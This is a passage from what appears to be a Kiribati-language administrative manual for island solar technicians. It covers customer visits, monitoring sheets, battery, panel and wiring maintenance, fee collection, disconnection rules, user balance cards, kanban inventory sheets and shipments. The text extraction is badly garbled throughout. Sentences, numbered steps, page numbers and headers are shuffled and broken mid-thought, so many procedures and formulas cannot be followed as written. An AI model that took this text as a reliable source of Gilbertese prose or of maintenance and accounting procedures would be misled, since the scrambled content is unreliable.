am katitama ni kabane n kaawa are akea iai te tekiniitian n te kaawa ao ni karaoi rinanin mwakuri iaan te tabe ae namba 2 – kawaraia katitama. 4. Ngkana iai te tekinitian n te kaawa anne ko kona n ti kawariia katitama ake: 1. Iai aia kaangaanga nakon aia taura are e riaon ana kona te tekinitian n te kaawa. 3. Naake a kanamakinaki bwa a urutua (noora iteraniba 28 ibukin taekana ae bwanin).Tabe 1. Ena iai bitakin aia bwakamwane 2.\n2. 2. 3. Karaoan te uruaki Te korotaura Karaoan bitaki aika riai n ribootinaki Bitakin boon te taura\nAdministrative manual for island technicians\n15\n. KAWARAIA KATITAMA\nE tibwaki te tabe aei nakon wanua mwakorona. Kawaraia katitama\nTABE NAMBA 2. 1. . 1 nakon 4 ena riai ni karaoi te tekinitian n te kaawa imwain kawaran te kaawa iroum. Taraan tuan kabonganaakin te taura bwa e na aki uruakaki 4.Tabe 2. Tutuoan te taura ao kanoakin te booma ae te Monitoring sheet. Aikai rinanin mwakuri ake ana karaoaki iroun te tekinitian n te kaawa: 1. Rikoan boon te taura (ngkana e kariaia kain te kaawa – noora iteranibaa 29) Rinanin mwakuri aika ko bukinaki bwa ko na karaoi 5. 3. Tararuaan te taura.\nTitiraki ao kabatiaa te ongoraa. Kawaraia katitama\nTera ae ko riai ni karaoia?\nOngoraa nakon ana ribooti am katitama ao koroi baika kakawaki ake e taekin!\nKaotan te katei ao arom ae tamaroa nakon am katitama bon te moan bwai ae kakaawaki.Tabe 2. Iangoi baike e taekin bwa kairan am iango nakon am mwakuri n tararua. 16\nAdministrative manual for island technicians\n.\nKo riai ni kanoai booma aikai imatan te tia kaboonganaa te taura bwa e na ataia ae e rangin tabeakinaki ana taura. Kawaraia katitama\nMwakuri namba 1. namban te taura ao a mwaiti riki. Booma aikai a oti iai aran te tia kaboonganaa te taura. Tutuoan te taura\nImwiin ongoraam aron te taura ao imwain karaoan mwakuri n tararua.Tabe 2.\nAdministrative manual for island technicians\n17\n. ko riai ni kanoa te booma ae monitoring sheet ao te monitoring kaati (te kaati ae buru).\nTabe 2. 2. Te monitoring kaati e na tiku inanon baokin te baetere n taai nako ao booma ni kabane a riai ni kanakoaki nakon boton aobitin te kambana. Ti tabeua te kaokoro n aron:\n1.\nAdministrative manual for island technicians\n18\n. te monitoring sheet a mwaiti taura aika kona tauaki mwiia iai ma te namakaina bon ti teuana. Kawaraia katitama Ngkana ko tiroi kanoan te monitoring sheet ao te monitoring kaati (buru kaati) ko na nooria bwa a kuri n ti teakina. Tebaana te monitoring kaati e onoti nakon teuana te taura ma a mwaiti namakaina iai.\nTabe 2. Kawaraia katitama Te bwai ae ko riai ni katikua n am iango bon te koaua are te monitoring card ngaia ae e anganiko rongorongon mwakurin te taura man te tai are e moan mwakuri iai. Te monitoring sheet are ko merinna e karauaki ni karaiaki kanoana nakon te kombiuta ao ni kawakinaki iai. Maiai are riirinanoaki aron mwakurin te taura iroun are tabena n tearo bwa ko na waekoa ni kaongoaki mwakuri n tararua aika ko riai ni karaoi ibukin tematoan tamaroan te taura teuana ma teuana. N am itera ko bon kona ni karaoa naba aio rinanon rongorongo ake a oti n te monitoring card.\nAdministrative manual for island technicians\n19\nTabe 2. Kawaraia katitama N rokom n te auti ao moana am mwakuri ma kanoakin te booma ae te monitoring sheet ao te kaati ae te monitoring card. Kanoakin te booma tai maninga ni kaota namban te taura, aran te tia kaboongana, bongin namakaina ao tauan kanoan te bong. Tuoan ranin te baetere ke te specific gravity n te hydrometer e karinanaki man te burati (+) nakon te mainati (-) ke namba teuana nakon onoua. E karaoaki aei ibukin kabeebetean te mwakuri ao bon kanoan kooti ake ko a tia ni irii. Mwaitin ranin te baetere are ko na aanga bon ti te katautau ae tangiraki. Ana voltage te baetere kaboongana te voltmeter ao n te ran are ko karinna n te baetere e riai naba ni kaotaki. LVD e kaota mwaitin maten te taura ibon irouna ke man te controller inanon 1 te namakaina. SAT e bon kaota nanon te tia kaboongana te taura 20\nAdministrative manual for island technicians\nTabe 2. Kawaraia katitama\nMwakuri namba 2. Mwakuri n tararua\nTe tararua nakon bwain te taura e bon riai ni karaoaki n te aro bwa ana teimatoa raoiroia n taai nako. Mwakuri n tararua a bon rang ni beebete aroia n aron te kaitiaki ao kakooan tikuru ao noran toman uaea bwa a raoiroi. Bwain te taura aika a riai tuoakia bon: 1. 2. 3. 4. 5. Tiora baenora Konturora Batere Uaea; ao Taura\nAdministrative manual for island technicians\n21\nKawaraia katitama\nTe baenera\n1. Kaitiakia n taai nako. E na aki nuu man aroka ngaia are e raoiroi korean aroka aika kanuua te baenera. Kamatoai tikuru ke onea te kai ngkana e a mka.Tabe 2. Baon te baenera a riai n toka ni matoa man aki kona ni kakamwakuri. Onea te baenera ngkana e raeuaaki 3. Tuoa kiratina. Kakooi uaean te baenera inanon baokina ao tuoa te baoki are a kawakinaki iai tooma n uaea bwa e aki uruaki. E riai ni matoa man aki kakamwakuraki. 2. 2.\nAdministrative manual for island technicians\n22\n. 4.\nTe Konturoora\n1.\nE taburoroko ranian te baetere n taari. Bon ti am ran are ko raweia n te karau ae e tamaroa ibukin ranin te baetere. 1. 2. ranin te tangke ni karau. Tai kaboongana te beeba. Kamatoai tikurun ana temino. Tuoi taian ruu ibukin te specific gravity teuana imwiin teuana ao kainna imwiin tuoan ranna. ranin te manibwa. Tai biririmoa ni kauki matan ruu ni kabane. 3. raan mooi n aekaia nako. Kaboongana ti ranin te baetere ae onoti are ko raweia man te karau. Kaitiaka te baetere n te kunnikai ae itiaki man n tia n ongiraki ranna. katibooti ke te mwakoro ni biti. Ranii ruun baetere ake a bwaka mwakeia ao karokoa n te mwaake ae riai. E riai n reke nnen te ang n rin mai inanon te baetere n otinako.Tabe 2. Tuoi kanoan teuana te cell n te hydrometer ao taui mwiina. Kaitiaka te baetere. E taburoroko raniakin te baetere n te acid. Kawaraia katitama\nTe baetere\n1.\nAdministrative manual for island technicians\n23\n. 2. Ngkana e bua tikurun matan ruun te baetere teuana onea mwiina n te buratiteke ke te mwakoro ni kiraati ni karokoa e reke bonotana ae boou.\nTuoa te raeuaaki iaon te uaea. Ngkana te uaea e mena i tinanikun te auti ao kabongana te uaea are e a tia ni katauaki i bukin tinanikun auti. 1.Tabe 2. A riai ni kanakoaki n te tai ae waeko uaea ake a kuneaki n raka n nim n te Solar Sytem ibukin kamauan riki bwaai tabeua ao man oki rikaki nakon te iteraniba 30 mwakuri ni katuua ake ana irekereke ma te bure ae taekinaki. Tuoa n tainako toma ni uaea bwa ana riai n tainako ni ko ao man aki rotaki n te mka ke te rara.\nAdministrative manual for island technicians\n24\n. Tuoii toma ni uaea ake a toma nakon te auti bwa ana riai ni matoatoa raoi ao man aki kona n uruaki man korakoran te ang ke te mainging. 2. Onea ane e raeuaaki. 3. Ngkana iai te ono uaea ae ea manga waakinaki imwin are ea tia ni karaoaki ao e riai moa ni kakoauaki bwa te tiaiti(size) ke te bubura n te uaea e na boraoi ma are mai mwaina ao man karaoaki raoi nakon te kabanea n tamaroa. 2. Kawaraia katitama\nTe uaea\n1. Toma ni uaea ariai naba n taraki bwa ana matoa ao man tara raoi n nakon n neia ae boou.\nTabe 2. 2. Kaitiaka rabwatan te taura ma wiikina ma taraia bwa ena aki uruaki. Ana nim man matoa raoi. Kaurai taura ni kakoaua bwa e mwakuri raoi.\nAdministrative manual for island technicians\n25\n. Kakooi tikuruna aika marau n te aro bwa ena nim raoi. Kawaraia katitama\nTaura\n1. 3.\nAdministrative manual for island technicians\n26\n.Tabe 2.Iai te onimakinaki irouia bwa ana ibuobuoki ni kaongoko mwakuri n aki rau ake a tia ni waakinaki ke n tia n noraki bwa a karaoaki nakon te tititem. Totokoi itera aika e na karekea te kaangaanga\nTuoa te tititem (System) ni kakoaua bwa ena akea te karaka ae ena karaoaki nako iai ngkana akea te kariaia. Te Tekinitian n te kawa ao kain ana tiim ni ibuobuoki te Solar n te kawa bon taan ibuobuoki n nakoim ibukin itera aika mwaiti. Kawaraia katitama\nMwakuri namba 3.\nUruakakin bwaai ake atia n tiiu (seals) ke ni katabuakaki kumeaia. Anganakia aomata te kariaia bwa ana kona n tangoi bwain am tititem. Kabonganakin te baetere ni itera tabeua.\nNgkana ko kunea bwa te tia kamanena te tititem e irekereke ma mwakuri n aki tarabwai ake 7 ao e riai ngkanne bwa :\n• Ngkana ai tibwa te moan tai ao e riai n anganaki te bebwa are e babobo are ea tei naba bwa te moan reirei ao ngkana ea manga karaoia riki ao ena kona ni kamwaingaki ana tititem n akea manga te boraraoi. 7. 5. Kawaraia katitama\n7 karinan ni mwakuri aika aki kariaiakaki\n1. 4.\nAdministrative manual for island technicians\n•\n27\n. E na riai naba n tiaina iaon te te beba ni mwakuri n irianaki ma am koroboki bukin kakoauan te katuaeaki. Ngkana ai te kaua tai ao te bebwa are uruara ea riai n anganaki are nanona bwa ai bon taekan naba kamwaingan ana taura mai irouna n akea te borararaoi ae e na manga karaoaki. 6. Urubwai nakon te tititem ni itera aika mwaiti. Buobuokan te tititem n akea te kariaia.Tabe 2. 2. Kanoa te bebwa ni mwakuri ao kaongoa te aobiti ae te tititem anne ea tia ni kamwaingaki. Tomakin bwai ake akea iaan te kaonturaeki. Tiatinakin aia baetere aomata. 3.\nIroun te tekiniitian n te kaawa ke te tekiniitian n te abamakoro ni katoaa te tai are e kawariia iai aomata. N tain te marooroo n te kaawa iaan te maneaba n te tai are e kawarii kaawa akanne te tekiniitian n te abamakoro. Uringnga are iai kaniwangam iai are e baireaki man mwaitin are ko rikoia ao ni karokoa n atuun te SEC.Tabe 2. Iroun te unimwaane iaan ana kariaia te tekiniitian n te abamakoro. Rikoan boon taura bon oin raoi tabem ao bukinam ngkai ko a riki bwa te tekiniitian n te abamakoro. te kaawa ao imwiin kamatoaakina iroun te SEC.\nAdministrative manual for island technicians\n28\n. N aobitin te SEC n te abamakoro ngkana iai ake a roko ni kabwakaa boon aia taura. (2) am koaua bwa e tau n anganaki te onimakinaki bwa e na karaoa te tabe aei. E nakoim kakaean angaraoina ao karaoan are te kabanea n tamaroa ma n rinanoa iai (1) te tekiniitian n te kaawa . 2. (3) iangoan te unimwane bwa e na nakoraoi riki ke e na aki. 4. Kawaraia katitama\nMwakuri namba 4. Rikoan te bwaka mwane\nAikai aanga ma taai aika e kona ni karaoaki iai te riko-mwane: 1. E riai ni waakinaki are te kabanea n tamaroa ibukin te waaki. 3.\nma uringnga: Imwain are ko waakina kanoaakin te booma aei ko riai n taai nako ni kanoai are a kaota iai namban te tiora tititem. E na kamataataaki raoi nakoim te beku teuana imwiin teuana ao arom ni kanoaa te beba ni mwakuri (activity sheet).\nAdministrative manual for island technicians\n29\n. Kawaraia katitama\nKabanean rinanin beku aika 4\nN aron are ko a tia n ataia. Te bwai ae kakaawaki ae riai ni karaoaki imwiin kanoakin te beba ni mwakuri (activity sheet) bon tiainakina iroun te tia kaboonganaa te taura ao imwiina ko tiainaia. aran te tia kaboonganaa. A bon rangin kakaawaki mwakuri aikai ao a bane ni kaineti nakon kanoakin te booma ae te beba ni mwakuri (activity sheet).Tabe 2. etc. nikiran beeku aika 4 ae kanoan tabe 2 bon oin tabem ao akea ae ena bukinaki bwa tabena.\nn nenerii oin kaangaanga ao waaki ni karaoa are e bon riai moa ni karaoaki teuana imwiin teuana ni karokoa ae e reke raoi oin te kaangaanga. Ngkana ko kainanoa riki te ibuobuoki man te Headquater. 30\nAdministrative manual for island technicians\n. Kakaean oin bukin te uruaki ao te onobwai\nKabonganaa niniwanam ma konabwaim. Iai ana tai ni kawari abamakoro ao anne are ena kona n reke ana tai n reirei ma ngkoe ibukin kanakoraoan ana waaki te SEC iaon katokan aia kaangaanga aomata ke am katitama. Te tia tararua ma te tia mwakuri are e na boutokaiko ena anganiko te ibuobuoki ae bati. ao ko kona ni korei am kanganga iaon te beba ni mwakuri(activity sheet) are ena kona n ataia te tia tararua te utility anne. Kawaraia katitama\nMwakuri namba 5. Akea ara nanououa bwa ko na tia ni karekei konabwai aika ririeta ibukin katokan aia kaangaa aomata.Tabe 2.\nAdministrative manual for island technicians\n31\n. Te tabo teuana ae katauaki ibukin am kaoti. N te aro aei ao ti kona ni kawakina rongorongon te tiora tititem teuana ma teuana ma n atai kaanganga nako ake a tia n reke nako iai.\nTe moan bwai bon katereterean raoi mwakuri ake ko karaoi ni karau ni karinanii man te moan ni karokoa te kabane n iira raoi am mwakuri.Tabe 2. Kawaraia katitama Imwiin tian tabem are e a karika manga mwakurin te tiora. A kawakinaki rongorongo n aron aikai iaon te kaombiuta n te aro bwa ana aki kona ni bua. ko a riai ni kanoaa te booma ae te beba ni mwakuri (activity sheet) are e kaeti ma Neneran oin bukin te kaangaanga ao katokana. koroi am iango ni ibuobuoki nakoia kain te management bwa ana atai. Kaota maanin te tai are ko kabanea iaon te mwakuri teuana ma teuana.\nAdministrative manual for island technicians\n32\n. Kawaraia katitama\nMwakuri namba 6. ko a tau araia ake a riai ni koreaki aia taura imwain mwanangam ni kawariia n aia kaawa. Korean te iti\nNgkai bon ngkoe ana tekiniitian te SEC n te abamakoro aio tabem ae kona kakaonimaki nako iai. Naakai are e a tia ni koro 3 aia namakaina n aki kabwakai aia tarau. Imwiin are ko a tia n rinanoa aia tarau aomata n am boki.\nTai maninga n rokana te konturoora bwa akea ae na kona ni manga kaura ana taura. Karaoa aio imwiin karaoan te bowi n te kaawa ao ngkana akea ae kabwaka nakoim n te tai anne.Tabe 2..\nTeina mai imwaina: n angiin te tai ao ena bon riai ni mwakuri raoi bwa anne oin ara kantaninga 2. Teina ae boou: n teina ae ngkai ao \"E koreaki\" are bon kanoan beku 7 – Korean te iti. Bukin tera ko aki ekitina (X) ae \"E aki mwakuri: E na toki ana bwakamwane te tia kaboongana te tiora\" ? Bukina bwa a kauntaeka rongorongo ao akea etina.\nKanoakin te booma n aron tein mwakurin te tiora ana baeranti ma kaotan aron teina mai imwaina nakon ae boou. E na mataata riki ae nanonaki ikai n tabem are imwiin aei. Kawaraia katitama Korean te iti bon te katootoo are e kaota bitakin te tiora tititem.Tabe 2.\nAdministrative manual for island technicians\n33\n. E aki kona ni koreaki te tiora ae e aki mwakuri ibon irouna ao tiaki man ana tokobito te tia kaboonganaa? Teraa bukina ngkai ko aki kona n aranna bwa \"(E a tibwa tia ni kanimaki)\" Bukina bwa a kauntaeka rongorongo aikai. 1. E aki kona ni koreaki te tiora ae e a tibwa kanimaki ao e tuai koro 3 namakaina maanna are bon tain te koro-iti.\nTi riai n atai taura aika a mwakuri.Tabe 2. Man kanoakin te booma aei ao warekana iroura e buoka kanakoraoan tabera ae kakaawaki ibukia ara katitama ni kabane. Ngkana te uruaki aei e reke man ana urutua te katitama.\nAdministrative manual for island technicians\n34\n. N te tamnei aei ko kona n noora aron bitakin te tiora aika a kona n reereke man te tai are a kanimaki iai nakon te tai are karaiaki iai. e kona ni karina n reke te uruaki. ara kai ni koto ngkanne e na kotea are e uruaki imwiin kabonganaakinabuaka iroun te katitama ao kain te aobiti ana bon teimatoa n tiaatina te katitama anne ibukin boon te taura. Te katootoo teuana. N te tai ae e aki maan imwiin kanimakin te tiora. E na aki tiaatinaki teuanne ke neinne ni karokoa te tai are e a manga mwakuri iai te tititem. e ngae ngkana e mate ke e aki ura. a koreaki. Bitakin tein te tiora\nMoan baan te kakaawaki iroura ngaira kain boton aobitin te SEC ataakin tein taian tiora iaon abamakoro. Kawaraia katitama\nMwakuri namba 7. aki mwakuri etc. te kai ni koto ngkanne e na kotea are e na toki ana kabwaka mwane te tia kaboongana te taura. Kamatenikunaa raoi te tamnei aei ao oota n aron tein kain koto ma kakaokoron karaia. Ngkana bukin te uruaki bon man te aki mwakuri raoi irouia kain te SEC.\nAio are e tuangira te booma aei bwai iai te uruaki nakon te taura anne ma ko aki kona ni karaoia. N te katootoo ae e oti ieta ao ko noria bwa ti makena ae \"e mwakuri\" n tein te tiora mai imwaina ao ae \"e uruaki: te tia kaboongana te taura ena aki tiaatinaki teina ae ngkai. Ti man tein te booma ao kanoakina ti a kona n atai kangaangaa aika riiriki nakon te taura teuana ma teuana ao mai iai are ti kona ni karaoi kataneiai aika riai man tau bwa kam na kataneiaaki iai. Kawaraia katitama Noria are te beba ni mwakuri (Activity Sheet) e titiraki aron tein te taura mai imwaina ao ae boou ngkana iai te bitaki ae karaoaki nako iai.\nAdministrative manual for island technicians\n35\n. E bon rangin kakanoa te booma aei ao a mwaiti rongorongo aika kakawaki inanona.Tabe 2. Ti ataa manim ni katiaa te kaangaanga ao n ataia bwa aekakira aron tein am mwakuri. Ti na ataia naba bwa ko tangira te supervisor ke ko aki . A kamataataaki kaangaanga n te boki aei iaan \"Neneran bukin kaangaanga ma katokaia\" am kabwarabwara iaon te kaangaanga anne are e koreaki iaon te beba ni mwakuri (Activity Sheet) a bon kamatoa raoi nakoira bwa te tia kaboongana te taura e na aki tiaatinaki boon te taura n te namakaina ae e na roko ni karokoa are tia manga karekea iroum rongorongona A bane ni bongana rongorongo aikai nakoira.\nN te katootoo ae e oti ieta ao e tuangiira te booma bwa ngaiai iai te dc\/dc converter ae e a tibwa manga kanimaki. aio bon te kabanea ni beku. Kakoroan nanon te kaantainga aei e bon ti reke man karinakin rongorongo n te kanban sheet.Tabe 2. E bitaki boon te taura ti ngkana e raka te aburaianti(appliance) nakon are a bon nim mai imwaina.\nAdministrative manual for island technicians\n36\n. Rakan te aburaianti e na bon raka naba boon te taura. ko na kainnanoa te inverter ae boou man te kambwana. Ai aron naba keerikaakina. Kawaraia katitama\nMwakuri namba 8. E bae n teretere iroum ngkanne aron kakaawakin te beba ni mwakuri (Activity Sheet) bwa e kaota te tabo are e a tia ni kanimaki iai te inverter ni kawai. Ti kainnanoa aio n te etekuata bwa ti na ataa ae riai n tiaatinaki iai te katitama nakon te namakaina ae e na roko. N te Beku 6. Bitakin boon te taura\nMai ibuakon karinan ni beku iaon tabem #2 are kawaraia am katitama. Kanoaakin te booma. E kamaataataa naba nakoira are ti riai ni kanakoa te inverter ae boou nakoim.\nBUTIMAEAN KAAKOO KE MEERI\nTeraa baika ko kariai bwa ana rooroko ni katoa namakaina man aobitin SEC i Tarawa? E na bon teimatoa ni kaakarokoaki nakoim meeri n aron booma ao bwaai riki ake ko kainnanoi. ke (3) kaako aika uotaki n te kaibuke. Butimaean kaakoo ke meeri\nTABE NAMBA 3. am kaako aika boou n aron aika a kona ni kabooaki nako ao ake a ribootinaki kainnanoaia n te Kanban sheet inanon te namakaina ae nako. tokin rawatana bon 20 kg. (2) eea kaakoo. Tenua aekan aanga ni karokoi bwaai nakoim mai Tarawa: (1) meeri. Iai riki?\n• • Bwaai ake ko tangiri ao n riibotin taekaia n te namakaina ae nako. Taian spare ake ko otanii ao bwain nako te tiora.Tabe 3. Te booma ibukin boon te taura n te namakaina aei Taian oota riki ibukin te karaii taura n te namakaina aei\n• •\nTeraa baika ko kantaningai n tokin te ririki? Kaakoo ao meeri n aron akana koreaki ieta ao ai:\n• • • 12 te kanban sheets ibukin te ririki ae boou Taian kaati ao booma aika a tuai kanoaaki ibukin am tibea Bwain nako te aobiti\nAdministrative manual for island technicians\n37\n.\nRongorongo riki ake a riai ataakiia. Imwiin kanimakin bwain te tiora. korea bongin te namakaina. waekoa kaoka te installation sheet nakon aobitin SEC. Betio. Te sheet aei e kaotii rongorongo iaon: • Te tititem are e na kanimaki iai te bwai anne ni ikotaki ma rongorongona riki ae e na ataaki iai. Butimaean kaakoo ke meeri Bwain te tiora aika a na kanimaki ana bon bae ni irianaki ma te Installation Sheet. ko a korei n te tabo ane e a tia ni katauraoaki ibukim.Tabe 3. am tiaaina ao ana tiaaina te user a riai n oti. Ko tia ni kamaeua te PV tititem anne. Ti te arona kanoan aei ma te bwai ae ko na karaoia imwiin kauraan te taura (Commissioning). • Kabwarabwaraan te mwakuri are e na katiaaki. • Bongin te namakaina ma aia tiaaina naake ana ruruamwiin te sheet • Ana tabo te Tekinitian n te Abamakoro ni kabwarabwarai baike e riai ataakina. Tarawa.\nAdministrative manual for island technicians\n38\n.\nKanoaan te kaati Tabe 5. Butimaeaia katitama n te aobiti\nTe Kanimabong bon te bong ae onoti bwa bon am kabanea ni bong ni mwakuri ao tain te bwakabwai. Kabanea am tai ni mwakuri n te aobiti ao are ai bon am tai ni kanoai kaati imwiin am tutuo ake ko a tia ni karaoi. Iai angaraoina naba bwa bon te bong are a kona ni kabwakai nakoim boon aia taura am katitama ake tao a tia n aki reke aia tai ni kabwakai inanon am tai ni kawariia n aia kaawa.\nAdministrative manual for island technicians\n39\n.8 taabe aika kanoan te namakaina\nTabe 4.\nKaati a kawakinaki n te binding folder ae bubura. nambaia ke n araia. Tabem ngkanne bon tuoaia ao anaakia inanon am tai ni kawari kaawa. aron karinanaia bon nakon are ko tangiria. Karau baarongai raoi ao karinii n am folder.Tabe 4.\nAdministrative manual for island technicians\n40\n. Kanoan te User Balance Kaati\nTABE NAMBA 4. Rinea ane tangiria riki. KANOAN TE USER BALANCE KAATI\nN teina ae koaua ao karaoan nanon kanoaakin booma n tutuo. te booma ibukin kabwarabwaraan mwakuri ao ritiitinakin te mwane ana karaoaki iroun te tekiniitian n te kaawa. A kona ni karinanaki n te kaawa.\n1. Kanoan te User Balance Kaati\nKaraoan aei ko tangira te user balance kaati (te kaati ae bingke) : • te boki n riitiiti.\nAdministrative manual for island technicians\n41\n. Karina mwin bwaka mane ake a tia n rititinaki ao man tia naba n rin n te beba ni mwakuri (Activity Sheet) nakon ana baranti kaati (User Balance Card) te tia kamanena te tititem.Tabe 4. • Rititina te mwaiti ni mane are e reke ni ikotaki ma namban te rititi. 2. Katauraoa te boki n riitiiti. • te booma ibukin mwakuri ake a karaoaki n tain te tutuo (beba ni mwakuri \"Activity Sheet\") :1. Kakoaua bwa mwin ana baka mane te tia kamanena te tititem are e oti iaon ana kaati ena boaraoi ma are n te rititi(receipt) 4. 3. Ana te rititi are imwina. • Beba ni mwakuri (Activity Sheet): e na ibuobuoki n taui mwin ke rongorongon mwakuri ake atia ni waakinaki n raonaki ma bongi namwakaina ao te mwakuri are e na manga karaoaki. Nooria bwa te beba ni mwakuri (Activity Sheet) e riai ni kanoaki ibukin te tia kamanena te tititem.\nTabe 4. Kanoan te User Balance Kaati\nAdministrative manual for island technicians\n42\n.\nKanoan te User Balance Kaati Te booma ae te user balance kaati (te kaati ae bingke) e ibuobuoki n ataan ana nikira n taarau te tia baibai. are imaina\n-\nTotal Paid\n+\nFee\n=\nDebt\nTe namakaina aei\nUringnga are e na bon tiaatinaki te tia baibai n te tai are e mwakuri iai ana tiora ke e aki kaboonganaa raoi. Teimatoan ruruamwiian ana baeranti te tia baibai e na kona ni kaota te auti are e na koreaki ana iti. Ikai are e na toki tiaatinakin te tia baibai boon te taura ibukin te namakaina anne. Te kabootau bwa inanon Tianuare e uruaki te tiora bwa e uruaki bwaina teuana. Ngkana e koreaki ana iti te tia baibai ao e na riai n tiatinaki boon te taura n te namakaina anne. N te tai are e oti bwa te tarau uoua okiokin boon te taura.\nAdministrative manual for island technicians\n43\n.Tabe 4. anne ngkanne are ko a korea arana bwa iaon kawaina ni koreaki ana iti n am tai n riko.Debt mwane n te namakaina ae Te namakaina boou.\n44\nAdministrative manual for island technicians\n. 2. Te boobwai A tangira te kamaataa nakon aia titiraki A na kabwakai boon aia taura\n1. BUTIMAEIA KATITAMA N TE SC\nOin bukin kawaram irouia katitama bon aikai: 1. Butimaeia katitama n te service center\nTABE NAMBA 5. Te boobwai\nAtaakin ae kona tiku n te SC e na bon bebete nakoia am katitama ao e na kai reke tokin aia kaangaanga ni baike a kainnanoia ni kan kabooa.Tabe 5. 3.\nTabe 5. Kabwakaan boon aia taura\nIai mai ibuakoia am katitama e angaraoi riki irouia bwa ana kabwakai boon aia taura iroum n te Service Centre SC.\n3. Te bwai ae e rang ni kakaawaki iroum bon te kokoaua n taai nako. Butimaeia katitama n te service center\n2. Te kairiiiri nakoia am katitama\nBuokaia am katitama man am taeka ni kamaataata e bon rangi ni kakaawaki. kaota te koaua nakoia ao tuangiia bwa ko na karekea buokaia man SEC n te tai ae waekoa ao n reken boon aia titiraki ko na manga waekoa n reitaki ma ngaiia. Aio bon iteran ana waaki SEC nakoia aomata nako.\nAdministrative manual for island technicians\n45\n. Tabeman tao ko na bon ataia man kantaningaia bwa a boraraoi ma ngkoe n am tai ni kawari kaawa bwa ana bon roko iroum n te SC ni kabwakai aia nikira n taarau ibukin boon aia taura. Ngkana e aki reke boon aia titiraki.\nKanoaakin sheets ake aki reke taiia Tabe 7. Karaaian taura Tabe 8. Kanako-bwai nako Tarawa\nAdministrative manual for island technicians\n46\n.8 taabe aika kanoan te namakaina\nTabe 6.\nTaian sheets aika a nanonaki iaan Tabe 6 bon aikai: Te beba are ena kanoaki ibukin tabe 6 bon: • Te beba ae te Kanban Sheet • Te beba ibukin te riko mwane. Kanoaan taian sheets\nTABE NAMBA 6. te beba ni mwakuri (activity sheet) a bon tia ni kanoaaki iroum n am tai ni kawari kaawa ao anne kanoan te tabe 2. KANOAAN TAIAN SHEETS\nTe monitoring sheet .\nAdministrative manual for island technicians\n47\n.Tabe 6.\nTabe 6. teuana bon te nikira ni kako are mena inanon baim n te SC (Balance of items stored in the SC) ao taian tibea. 48 Administrative manual for island technicians\n. Kamatenikunaa raoi te sheet aei ao kaootako raoi n aron kanoaakin te kanban sheet. Aio te sheet ae e mwaiti te rongorongo ae kona n anganiira ibukin kanakoraoan te mwakuri n tutuo nakon taura iaon abamakoro. Waeremem ni mwakuria te beba aio bon kabuan am raka ni mane ae 3% bwa te oota e na manga mena taekana n te aobiti (Headquaters). te onobwai. Kanoaan taian sheets\nMwakuri namba 1. ao ai te oota ao Invoices. E bon matata naba iroura bwa mai buakon ami beba ake kam na mwakuri mangaia ao bon ti aio ae rangi ni matoa aron karaoana.Am konabwai iaon mwakurian te beba aio ni karikirakea e na bon rangi ni ibuobuoki nakon te Kambana ao n reke naba iai am raka ni mwane ae 3%. Oin kabonganan te beba ae te kanban sheet bon buokan riki te bobwai iaon bwaai ake ana kainanoaki ibukin te solar n am abwamakoro. Ataa bukina ngkai iai uoua mwakorona. Te kanban sheet\nN tokin te ririki koraki ko na karekei 12 kanban sheets ibukin te ririki ae boou. Ao ai ngaia aio ngkanne bukina ae te nikira ni iteranibaa ake ruaiua a bon boboto iaon te beba ae te Kanban sheet.\nKanoaan taian sheets Te kanban sheet karokoi rongorongo aikai nakon SEC etekuata:\nNikiran te inventories n Abamakoro Bwai aika kabonganaaki bwa tibea Te sales ni katoa namakaina Bwaai ake kabonganaaki bwa taian assets Taian oota iaon bwaai ake a kawakinaki n te etekuata Taian bwakamwane iaon bwaai ibukin oota nikawai ake a tia ni kanakoaki Mwaane ake a rikoaki n te namakaina anne\nAdministrative manual for island technicians\n49\n.Tabe 6.\nTe kabootau bwa aongkoa 3 te fuse ae kaboonganaaki n onean mwiin aika bue. ti kona n tuangko mwaitin te kaakoo ae ko na tangiria ibukin manga karokoan mwaitin am kaako are ko riai ni kawakinna n taai nako.\nAdministrative manual for island technicians\n50\n. Aikai ake ko kona ni kabooi nako ke ni kaboonganai bwa tibea ke ni kanim n te PV tititem.Tabe 6. Taraia raoi bwa rongorongo ni kabane ana boraoi ma taekan bwaai ake a koreaki taekaia iaon te beba ni mwakuri (Activity Sheet) are a kaai ni kanakoaki n te namakaina anne. te uaea. Bwai aika kabonganaaki bwa tibea Te moan mwakoro n te kanban sheet e tuangko mwaitin kaako aika a kawakinaki n te SC. teuana te DC\/DC Converter bwa iai ae kan kamaeua ana reerio. Kanoaan taian sheets Nikiran te inventory n te abamakoro N te column ane e koreaki iai ae Qty Left ko na kaboonganaa te formula aei: Opening – Qty Used – Qty Sold = Qty Left Ngkana ngaira man te HQ ti atai nikiran kaakoo n tokin te namakaina anne. te taura ao te tiwiiti bwa iai te kamaing ae boou.\nKanoaan taian sheets\nTe sale n te namakaina Man te bobwai\nAio bon te mwane ni bobwai are e reke mai irouia aomata ke te \"cash on delivery\" bukina bwa akea ae kabooaki n te taarau. Botan bwaai aika kaboakinakoaki iaan Qty Sold ao mwaneia iaan Amount. Uringnga are Qty Sold x Price = Amount. korea botan mwaneia.\nAdministrative manual for island technicians\n51\n. E tia ni karaoaki aei ao tai mwaninga ni kanakoa nakon te HQ te baetere are e uruaki. Uringnga naba are e kakaawaki korean te ritiiti. Ikota te Sales COD. Te kabootau bwa ngkana e kaboonganaaki te baetere ibukin onean mwiin teuana n te utility bon anne ana karekemwane te kambwana ae bubura. Ngaia are ti na anganiko te beba ni mwakuri (Activity Sheet) are ko na kaota iai tian am tutuo ao e kaota kainnanoan onean te baetere.\nBwaai aika kabonganaaki Ibukin te onobwai(assets)\nBwaai aikai ake aranaki bwa assets n te kambwana ao e kaokoro aron tauan mwiia.Tabe 6. N tokin te namakaina booti ritiiti ni kabane.\nTuanga am katitama bwa e na kabwakaa ana baerenti are 90% imwain anganakina te bwai. Kaongoaakin te HQ anne ko riai ni korea nambwan te invoice n te moan column. Oota n aron aikai a riai ni kabwaakaaki 10% man booia.\nAdministrative manual for island technicians\n52\n. Teremooa te mwane anne ao kaairia ma am oota.Tabe 6. Kanoaan taian sheets\nTe oota iaon bwaai n te headquarters (HQ)\nTi tabeua bwaai aika a kona ni kawakinaki n te SC bwa ti bwaai ake a rangin korakora tangiraia.\nE na bwaka boon te bwai Imwain are a kanakoaki\nAm oota e na airi ma te invoice. aran te katitama iaan te description ao nikiran boon te bwai iaan Paid Today. ni ikotaki ma te ritiiti nambwa. Bwaai itinanikun are a tia ni katauaki bwa am kaako a riai n otanaki man te HQ n te tai are iai ae kan kabooi ke iai kainnanoaia n te utility. Akea am kaangaanga bwa iai iroum te kataroka ao te kanban sheets.\nE 